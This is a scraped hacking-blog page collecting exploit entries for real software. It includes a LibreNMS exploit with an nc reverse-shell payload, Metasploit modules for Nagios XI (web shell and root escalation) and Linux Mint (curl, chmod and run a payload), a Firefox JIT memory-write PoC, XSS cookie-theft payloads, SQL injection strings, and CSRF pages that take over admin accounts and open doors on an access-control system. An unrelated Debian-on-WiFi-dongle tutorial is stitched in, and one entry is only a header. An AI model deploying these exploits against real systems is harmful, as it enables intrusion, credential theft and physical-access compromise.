Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863592423

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python

'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''

import requests
from urllib import urlencode
import sys

if len(sys.argv) != 5:
    print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
    sys.exit(0)

# target (user input)
target = sys.argv[1]

# cookies (user input)
raw_cookies = sys.argv[2]

# remote host to connect to
rhost = sys.argv[3]

# remote port to connect to
rport = sys.argv[4]

# hostname to use (change it if you want)
hostname = "dummydevice"

# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)

# request headers
headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
    }

# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
    # print cookie
    c = cookie.split("=")
    cookies[c[0]] = c[1]


def create_new_device(url):
    raw_request = {
        "hostname": hostname,
        "snmp": "on",
        "sysName": "",
        "hardware": "",
        "os": "",
        "snmpver": "v2c",
        "os_id": "",
        "port": "",
        "transport": "udp",
        "port_assoc_mode": "ifIndex",
        "community": payload,
        "authlevel": "noAuthNoPriv",
        "authname": "",
        "authpass": "",
        "cryptopass": "",
        "authalgo": "MD5",
        "cryptoalgo": "AES",
        "force_add": "on",
        "Submit": ""
    }
    full_url = url + "/addhost/"
    request_body = urlencode(raw_request)

    # send the device creation request
    request = requests.post(
        full_url, data=request_body, cookies=cookies, headers=headers
    )
    text = request.text
    if "Device added" in text:
        print "[+] Device Created Sucssfully"
        return True
    else:
        print "[-] Cannot Create Device"
        return False


def request_exploit(url):
    params = {
        "id": "capture",
        "format": "text",
        "type": "snmpwalk",
        "hostname": hostname
        }

    # send the payload call
    request = requests.get(url + "/ajax_output.php",
        params=params,
        headers=headers,
        cookies=cookies
        )
    text = request.text
    if rhost in text:
        print "[+] Done, check your nc !"


if create_new_device(target):
    request_exploit(target)
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Nagios XI Magpie_debug.php Root Remote Code Execution",
      'Description'    => %q{
         This module exploits two vulnerabilities in Nagios XI 5.5.6:
         CVE-2018-15708 which allows for unauthenticated remote code execution
         and CVE 2018–15710 which allows for local privilege escalation.
         When combined, these two vulnerabilities give us a root reverse shell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Lyne (@lynerc)', # First working exploit
          'Guillaume André (@yaumn_)' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2018-15708'],
          ['CVE', '2018-15710'],
          ['EDB', '46221'],
          ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
          ['URL', 'https://www.tenable.com/security/research/tra-2018-37']
        ],
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          ['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 443,
          'SSL' => true
        },
      'Privileged'     => false,
      'DisclosureDate' => "2018-11-14",
      'DefaultTarget'  => 0
     ))

    register_options(
      [
        OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
        OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
        OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
      ])

    @WRITABLE_PATHS = [
      ['/usr/local/nagvis/share', '/nagvis'],
      ['/var/www/html/nagiosql',  '/nagiosql']
    ]
    @writable_path_index = 0
    @MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
    @session_opened = false
    @webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    @nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
    @meterpreter_name = Rex::Text.rand_text_alpha(10)
  end

  def on_request_uri(cli, req)
    if @current_payload == @webshell_name
      send_response(cli, '<?php system($_GET[\'cmd\'])?>')
    else
      send_response(cli, generate_payload_exe)
    end
  end

  def primer
    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => normalize_uri(@MAGPIERSS_PATH),
        'vars_get' => {
          'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
          '-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
        }
      }, 5)

    if !res || res.code != 200
      print_error('Couldn\'t send malicious request to target.')
    end
 end

  def check_upload
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri'    => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
      }, 5)
    if res && res.code == 200
      print_status("#{@current_payload} uploaded with success!")
      return true
    else
      print_error("Couldn't upload #{@current_payload}.")
      return false
    end
  end

  def check
    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => normalize_uri(@MAGPIERSS_PATH)
      }, 5)

    if res && res.code == 200
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    all_files_uploaded = false

    # Upload useful files on the target
    for i in 0..@WRITABLE_PATHS.size
      @writable_path_index = i
      for filename in [@webshell_name, @meterpreter_name]
        @current_payload = filename
        begin
          Timeout.timeout(datastore['HTTPDELAY']) { super }
        rescue Timeout::Error
          if !check_upload
            break
          elsif filename == @meterpreter_name
            all_files_uploaded = true
          end
        end
      end
      if all_files_uploaded
        break
      end
    end

    meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"

    register_file_for_cleanup(
      "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
      meterpreter_path,
      "/var/tmp/#{@nse_name}"
    )

    # Commands to escalate privileges, some will work and others won't
    # depending on the Nagios version
    cmds = [
      "chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
      "components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
      "echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
      "&& sudo nmap --script /var/tmp/#{@nse_name}"
   ]

    # Try to launch root shell
    for cmd in cmds
      res = send_request_cgi(
        {
          'uri'     => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
          'method'  => 'GET',
          'vars_get' => {
            'cmd' => cmd
          }
        }, 5)

      if !res && session_created?
        break
      end
      print_status('Couldn\'t get remote root shell, trying another method')
    end
  end
end
            
The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable):

    // Run with --no-threads for increased reliability
    const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = {a: 5};
        }

        // pop the last value. IonMonkey will, based on inferred types, conclude that the result
        // will always be an object, which is untrue when  p[0] is fetched here.
        const v11 = v4.pop();

        // Then if will crash here when dereferencing a controlled double value as pointer.
        v11.a;

        // Force JIT compilation.
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
    p[0] = -1.8629373288622089e-06;
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }

When run, it produces a crash similar to the following:

    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
        frame #0: 0x000025a3b99b26cb
    ->  0x25a3b99b26cb: cmp    qword ptr [rax], r11
        0x25a3b99b26ce: jne    0x25a3b99b26dd
        0x25a3b99b26d4: cmovne rax, rcx
        0x25a3b99b26d8: jmp    0x25a3b99b26f4
    Target 0: (js) stopped.
    (lldb) reg read rax
         rax = 0x4141414141414141

I haven't thoroughly analyzed bug, but here is roughly what appears to be happening:

* when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment)
* in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes
* v7 is executed a few times and all original elements from v4 are popped
* the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types

Afterwards, v7 is (re-)compiled by IonMonkey:
* the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1]
* since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3]
* IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load
* Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5]

At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens:
* The runtime call to ArrayPopDense is taken
* this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0'
* the array pop operation thus returns a double value

However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable.

To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types.


Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1544386


Below is the original sample triggered by my fuzzer:

    // Run with -no-threads --cpu-count=1 --ion-offthread-compile=off --baseline-warmup-threshold=10 --ion-warmup-threshold=100
    let v2 = 0;
    v2 = 7;
    const v4 = [13.37,13.37,13.37,13.37,13.37];
    function v7(v8,v9) {
        const v10 = v2 + v4;
        v4[v10] = Object;
        const v11 = v4.pop();
        for (let v15 = 0; v15 < 100; v15++) {
        }
    }
    v4.__proto__ = Object;
    for (let v19 = 0; v19 < 100; v19++) {
        const v23 = [-1000000000000.0,-1000000000000.0,-1000000000000.0];
        let v24 = Object;
        v24.__proto__ = v23;
        const v26 = String.fromCharCode(v19);
        Object[0] = v26;
    }
    for (let v31 = 0; v31 < 100; v31++) {
        const v32 = v7();
    }


This bug can be exploited in a very similar way to https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1810 as they all allow the construction of type confusions between arbitrary objects. The following modification of the PoC achieves fast and reliable memory writes to arbitrary addresses in FireFox 66.0.3:

    // Run with --no-threads for increased reliability
    let ab = new ArrayBuffer(0x1000);

    // Confuse these two types with each other below.
    let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};
    let y = new Uint32Array(0x1000);

    const v4 = [y, y, y, y, y];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = y;
        }

        // pop the last value. IonMonkey will, based on inferred types, conclude that the result
        // will always be an object, which is untrue when p[0] is fetched here.
        const v11 = v4.pop();

        // It will then crash here when writing to a controlled address (0x414141414141).
        v11[0] = 0x1337;

        // Force JIT compilation.
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [y, y, y];
    p[0] = x;
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }


    /* Crashes as follows in Firefox 66.0.3:

    (lldb) process attach --pid 12534
    ...

    Executable module set to "/Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container".
    (lldb) c
    Process 12534 resuming
    Process 12534 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x414141414141)
        frame #0: 0x000037f56ae479bd
    ->  0x37f56ae479bd: mov    dword ptr [rcx + 4*rax], 0x1337
    Target 0: (plugin-container) stopped.
    (lldb) reg read rcx rax
         rcx = 0x0000414141414141
         rax = 0x0000000000000000
    */


The issue was fixed with commit https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e and released as an out-of-band security update on Jun 18th: https://www.mozilla.org/en-US/security/advisories/mfsa2019-18/


I looks like the core issue here was that IonMonkey, when trying to inline calls to Array.push and Array.pop into e.g. the MArrayPopShift instruction, didn't correctly verify that those operations would not end up accessing the prototype. It e.g. checked that no indexed properties (elements) exist on Array.prototype but this check could be bypassed by introducing an intermediate prototype such that the prototype chain looks something like array -> custom prototype with elements -> Array.prototype -> Object.prototype -> null. This is then problematic for at least two reasons:

* There could be inferred element types for the array. IonMonkey then assumed that the inlined pop would always yield an object of the inferred type which wasn't true if the pop actually loaded an element from the prototype. This is the aspect that Fuzzilli triggered
* By installing indexed getters and/or setter on the prototype, it becomes possible to turn this bug into an unexpected side-effect issue as the inlined push and pop operations are not supposed to trigger any side-effects

The fix was then to avoid inlining push and pop if the access could potentially go to the prototype.
            
# Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection
# Google Dork: inurl:"wp-content/plugins/screets-lcx"
# Date: 2019/06/25
# Exploit Author: m0ze
# Vendor Homepage: https://screets.com/
# Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877
# Version: 2.8.3
# Tested on: Windows 10 / Parrot OS
# CVE : -


Info:

Weak security measures like bad input field data filtering has been
discovered in the «Live Chat Unlimited». Current version of this
premium WordPress plugin is 2.8.3.



PoC:

Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter]. 
Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other
website.
Example #1: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">m0ze
Example #2: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">m0ze
            
===========================================================================================
# Exploit Title: CiuisCRM 1.6 - 'eventType' SQL Inj.
# Dork: N/A
# Date: 27-05-2019
# Exploit Author: Mehmet EMİROĞLU
# Vendor Homepage: https://codecanyon.net/item/ciuis-crm/20473489
# Software Link: https://codecanyon.net/item/ciuis-crm/20473489
# Version: v1.6
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Ciuis CRM you can easily manage your customer relationships and save time on your business.
===========================================================================================
# POC - SQLi
# Parameters : eventType
# Attack Pattern :
-1+or+1%3d1+and(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
# POST Method : http://localhost/ciuiscrm-16/calendar/addevent
===========================================================================================
            
# Exploit Title: ZoneMinder 1.32.3 - Stored Cross Site Scripting (filters)
# Google Dork: None
# Date: 6/29/2019
# Exploit Author: Joey Lane
# Vendor Homepage: https://zoneminder.com
# Software Link: https://github.com/ZoneMinder/zoneminder/releases
# Version: 1.32.3
# Tested on: Ubuntu 16.04
# CVE : Pending

ZoneMinder 1.32.3 contains a stored cross site scripting vulnerability in the 'Filters' page.  The 'Name' field used to create a new filter is not being properly sanitized.  This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Filters page.

The following curl command injects an alert(1) payload into the vulnerable field.  The javascript is executed once a user visits the 'Filters' page.

curl -X POST -H "Content-type: application/x-www-form-urlencoded" -d "Id=&action=Save&object=filter&filter%5BName%5D=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D=%3D&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5BQuery%5D%5Bsort_field%5D=Id&filter%5BQuery%5D%5Bsort_asc%5D=1&filter%5BQuery%5D%5Blimit%5D=100&filter%5BAutoExecuteCmd%5D=0&filter%5BAutoMoveTo%5D=&Save=Save" --cookie "zmSkin=classic; zmCSS=classic; ZMSESSID=(A VALID SESSION ID)" http://(A VALID HOST)/zm/index.php?view=filter&sort_field=StartTime&sort_asc=1
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Linux Mint 'yelp' URI handler command injection vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within 
          Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call 
          the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. 
          The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either 
          of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit 
          this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'b1ack0wl' # vuln discovery and exploit dev
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'WfsDelay' => 60
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux Mint 18.3 and 19.1',
            {
              'Arch' => ARCH_X64
            } 
          ]
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0))
  end

  def generate_exploit_html()
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['LHOST']
    else
      srv_host = datastore['SRVHOST']
    end
    @filename = rand_text_alpha(4)
    cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
    html = %Q|
    <html>
    <head>
      <meta content="text/html;charset=utf-8" http-equiv="Content-Type">
      <meta content="utf-8" http-equiv="encoding">
      <title>paparoachfanclubdotcom</title>
    </head>
    <body>
    <script>
      lmao = document.createElement('a');
      lmao.href= "ghelp://$(#{cmd_inj})";
      document.body.appendChild(lmao); /* Needed to work with Firefox */
      lmao.click();
    </script>
    </body>
    </html>
    |
    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    if agent =~ /curl\/\d/
      # Command has been executed. Serve up the payload
      exe_payload = generate_payload_exe()
      print_status("Sending payload...")
      send_response(cli, exe_payload)
      register_file_for_cleanup("/tmp/#{@filename}")
      return
    else
      html = generate_exploit_html()
      print_status("Sending HTML...")
      send_response(cli, html, {'Content-Type'=>'text/html'})
    end
  end
end
            
# Exploit Title: PowerPanel Business Edition - Stored Cross Site Scripting (SNMP trap receivers)
# Google Dork: None
# Date: 6/29/2019
# Exploit Author: Joey Lane
# Vendor Homepage: https://www.cyberpowersystems.com
# Version: 3.4.0
# Tested on: Ubuntu 16.04
# CVE : Pending

CyberPower PowerPanel Business Edition 3.4.0 contains a stored cross site scripting vulnerability.  The fields used to configure SNMP trap receivers are not being properly sanitized.  This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Event Action / Recipient page.

To demonstrate the vulnerability, create a file named 'xss.xml' with the following contents:

<?xml version="1.0" encoding="UTF-8" ?>
<ppbe>
<target>
<command>action.notification.trapRecipient.setup</command>
</target>
<inquire>
<trapRecipientSetup>
<action>ADD</action>
<trapRecipient>
<name><script>alert(1)</script></name>
<status>true</status>
<type>1</type>
<ipAddress>127.0.0.1</ipAddress>
<community>public</community>
</trapRecipient>
</trapRecipientSetup>
</inquire>
</ppbe>

Now execute the following curl command to submit a POST request with the contents of the 'xss.xml' file:

curl -X POST -H 'Content-type: text/xml' -d @xss.xml --cookie "JSESSIONID=(A VALID SESSION ID)" http://(A VALID HOST):3052/agent/ppbe.xml

Visiting the Event Action / Recipient page will execute the posted javascript code.
            
===========================================================================================
# Exploit Title: Varient 1.6.1 SQL Inj.
# Dork: N/A
# Date: 29-06-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://varient.codingest.com/
# Software Link: https://varient.codingest.com/
# Version: v1.6.1
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: the best news and magazine script
===========================================================================================
# POC - SQLi
# Parameters : user_id
# Attack Pattern :
%27)/**/oR/**/3211170=3211170/**/aNd/**/(%276199%27)=(%276199
# POST Method :
https://site.com/unpleasant-nor-diminution-excellence-apartments-imprudence?parent_id=0&post_id=66&name=9956574&comment=[COMMENT
HERE]7146048&user_id=99999999[SQL INJECT HERE]
===========================================================================================
            

Can you enter Debian with portable WIFI? That's right, there is nothing you can't do, only you can't imagine. Let’s take a look now! By inputting the debian system into the portable WiFi, we can install pagodas, build Ha, etc. And it doesn’t require much power consumption, it’s so pleasant to think about it!

Hardware introduction

In this article, we use the portable WiFi of Qualcomm 410 processor. Other types of portable WiFi may not be successfully flashed. Please confirm the model before purchasing.

硬件 某鱼十几元的就可以

Installing the driver

Before using, you can contact the merchant or download and install the driver according to the product name.

安装驱动 安装后重启

ADB debugging

In the flash package directory, execute the cmd command.

#Check the device connection status

adb.exe devices

#Enter Fastboot mode

adb.exe reboot bootloader

#Check whether to enter fastboot

fastboot.exe devices g3lb2dikiy0204.png

Flashing

After the device enters Fastboot mode, we double-click to run the flash.bat file and automatically flash the machine throughout the process. Wait patiently for the flash to complete.刷机

Equipment Information

After the flashing is completed, the device information is as follows:

WiFi: 4G UFI 123456 (password:12345678) IP: 192.168.68.1SSH: root (password:1)

Connection Test

Our connection WiFi is called 4G UFI 123456. Use SSH tools to connect.Xshell

成功连接

Configure the network

Now we need to connect to WiFi at home. Turn off its transmit (AP) function. Because portable WiFi supports USB sharing network and WiFi network. (Note, don’t turn off WiFi first, otherwise you won’t be able to connect to your portable WiFi.) Configure the USB network to open the device manager and you will see the following devices.lpjt1twigey213.png

Click Update Driver and select the second one.au1bbqs2yq0215.png

选择这个

Select USB Composite Device

ejkljrsvbpr218.png

After the update is completed, unplug the device again. The following situation will occur at this time.oriupt3da2a222.png

We updated the same method, selected the network adapter, and selected it according to the figure below.nnhnjh12nwj223.png

After completion, we can command ipconfig to check the network situation.hwmwsyocrkl224.png

Turn off portable WiFi to connect to home WiFi

Execute the command nmtui in the terminal to start the graphical interface.点击编辑连接

选择bribge

将WiFi删除掉

dyy4qhw1qar228.png

Return to the homepage and click Enable Network.jiaqhw2thv3229.png

After selecting WiFi, enter your password to connect.

Installing the pagoda

For testing, I installed the pagoda here (it is not recommended to install because the space is too small) 0vevamjunkx230.png

Home Page dl4d1lbnb2d231.png

Effect Display

Finally, we find a charger head and plug it in the corner. A small portable server is ready.

get4cy3jaa1232.png

Insufficient

The memory and disk capacity are relatively small. It should be fine to run the HA Ngingx three-piece set.

# Title: CyberPanel Administrator Account Takeover <= v1.8.4
# Date: 30.06.2019
# Author: Bilgi Birikim Sistemleri
# Vendor Homepage: https://cyberpanel.net/
# Version: Up to v1.8.4.
# CVE: CVE-2019-13056
# mturkyilmaz@bilgibirikim.com & bilgibirikim.com

# Description:
# Attacker can edit administrator's credentials like email, password.
# Then, access the administration panel and takeover the server.
# A CSRF vulnerability.

# How to Reproduce:
# Attacker will create a website,
# CyberPanel administrator will visit that website,
# Administrator's e-mail and password will be changed automatically.

# PoC:
<script>
fetch('https://SERVERIP:8090/users/saveModifications', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"accountUsername":"admin","firstName":"CSRF","lastName":"Vulnerable","email":"attackersemail@example.org","password":"attackerspassword"}'});
</script>
            
FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery


Vendor: iWT Ltd.
Product web page: http://www.iwt.com.hk
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
                  Firmware 5.7.2 build 568 (Algorithm A14)
                  Firmware 5.7.0 build 539 (Algorithm A14)

Summary: FaceSentry 5AN is a revolutionary smart identity
management appliance that offers entry via biometric face
identification, contactless smart card, staff ID, or QR-code.
The QR-code upgrade allows you to share an eKey with guests
while you're away from your Office and monitor all activity
via the web administration tool. Powered by standard PoE
(Power over Ethernet), FaceSEntry 5AN can be installed in
minutes with only 6 screws. FaceSentry 5AN is a true enterprise
grade access control or time-and-attendance appliance.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
           Linux 3.4.113-sun8i (armv7l)
           PHP/7.0.30-0ubuntu0.16.04.1
           PHP/7.0.22-0ubuntu0.16.04.1
           lighttpd/1.4.35
           Armbian 5.38
           Sunxi Linux (sun8i generation)
           Orange Pi PC +


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5524
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5524.php


28.05.2019

--


CSRF change administrator password:
-----------------------------------
<html>
  <body>
  <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
    <form action="http://192.168.11.1/personalSetting.php" method="POST">
      <input type="hidden" name="strInAction" value="updateUser" />
      <input type="hidden" name="strInUserID" value="administrator" />
      <input type="hidden" name="isChangePwd" value="1" />
      <input type="hidden" name="strInLanguage" value="Eng" />
      <input type="hidden" name="strInPassword" value="t00tw00t />
      <input type="hidden" name="strInConfirmPassword" value="t00tw00t" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>


CSRF add admin:
---------------
<html>
  <body>
  <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
    <form action="http://192.168.11.1/userList.php?" method="POST">
      <input type="hidden" name="strInAction" value="addUser" />
      <input type="hidden" name="strInUserID" value="Testinugs" />
      <input type="hidden" name="strInUserFunctionPermissionGroupID" value="Admin" />
      <input type="hidden" name="strInDescription" value="CSRFd" />
      <input type="hidden" name="strInLanguage" value="Eng" />
      <input type="hidden" name="strInPassword" value="123123" />
      <input type="hidden" name="strInConfirmPassword" value="123123" />
      <input type="hidden" name="strInStatus" value="Active" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>


Change administrator password via different path:
-------------------------------------------------
<html>
  <body>
  <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
    <form action="http://192.168.11.1/userList.php?" method="POST">
      <input type="hidden" name="strInAction" value="updateUser" />
      <input type="hidden" name="strInPageNo" value="0" />
      <input type="hidden" name="strInUserID" value="administrator" />
      <input type="hidden" name="isChangePwd" value="1" />
      <input type="hidden" name="strInDescription" value="Default&#32;Sys&#46;&#32;Admin" />
      <input type="hidden" name="strInUserFunctionPermissionGroupID" value="Admin" />
      <input type="hidden" name="strInLanguage" value="Eng" />
      <input type="hidden" name="strInStatus" value="Active" />
      <input type="hidden" name="strInPassword" value="123456" />
      <input type="hidden" name="strInConfirmPassword" value="123456" />
      <input type="hidden" name="strEditPageNo" value="" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>


Add special card:
-----------------
<html>
  <body>
  <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
    <form action="http://192.168.11.1/specialCard.php?" method="POST">
      <input type="hidden" name="strInSpecialCardID" value="deadbeef" />
      <input type="hidden" name="strInSpecialCardStatus" value="" />
      <input type="hidden" name="strInSpecialCardEnrollHigh" value="1" />
      <input type="hidden" name="strInSpecialCardEnrollLow" value="1" />
      <input type="hidden" name="strInSpecialCardRescue" value="1" />
      <input type="hidden" name="strInSpecialCardOpenDoor" value="1" />
      <input type="hidden" name="strInSpecialCardReboot" value="1" />
      <input type="hidden" name="strInSpecialCardShutDown" value="1" />
      <input type="hidden" name="strInAction" value="addNewSpecialCard" />
      <input type="hidden" name="strInPageNo" value="0" />
      <input type="hidden" name="strEditPageNo" value="" />
      <input type="hidden" name="strInNewSpecialCard" value="deadbeef" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>


CSRF open door 0:
-----------------
<html>
  <body>
  <script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
    <form action="http://192.168.11.1/openDoor.php?" method="POST">
      <input type="hidden" name="strInAction" value="openDoor" />
      <input type="hidden" name="strInPageNo" value="0" />
      <input type="hidden" name="strInRestartAction" value="" />
      <input type="hidden" name="strPanelIDRestart=" value="" />
      <input type="hidden" name="strPanelRestartAction" value="" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>
            
# Exploit Title: Sahi pro (8.x) Directory traversal
# Date: 2019-06-25
# Exploit Author: Operat0r
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 8.0
# Tested on: Linux Ubuntu / Windows 7
# CVE: CVE-2019-13063

